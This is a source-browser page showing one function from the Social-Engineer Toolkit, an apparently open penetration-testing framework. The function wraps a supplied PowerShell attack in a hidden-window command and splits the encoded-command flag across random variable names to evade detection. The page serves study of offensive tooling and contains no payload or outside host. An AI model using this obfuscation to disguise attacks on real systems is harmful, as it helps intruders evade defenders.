MCPcopy
hub / github.com/trustedsec/social-engineer-toolkit / powershell_encodedcommand

Function powershell_encodedcommand

src/core/setcore.py:2057–2064  ·  view source on GitHub ↗
(ps_attack)

Source from the content-addressed store, hash-verified

2055# this will create an obfsucated powershell encoded command string to be
2056# used through SET
2057def powershell_encodedcommand(ps_attack):
2058 ran1 = generate_random_string(1, 2)
2059 ran2 = generate_random_string(1, 2)
2060 ran3 = generate_random_string(1, 2)
2061 ran4 = generate_random_string(1, 2)
2062 full_attack = ('powershell -w 1 -C "sv {0} -;sv {1} ec;sv {2} ((gv {3}).value.toString()+(gv {4}).value.toString());powershell (gv {5}).value.toString() \''.format(ran1, ran2, ran3, ran1, ran2, ran3) + ps_attack + '\'"')
2063 return full_attack
2064 # 'powershell -w 1 -C "sv %s -;sv %s ec;sv %s ((gv %s).value.toString()+(gv %s).value.toString());powershell (gv %s).value.toString() "' % (ran1, ran2, ran3, ran1, ran2, ran3)

Callers 1

gen_hta_cool_stuffFunction · 0.85

Calls 1

generate_random_stringFunction · 0.70

Tested by

no test coverage detected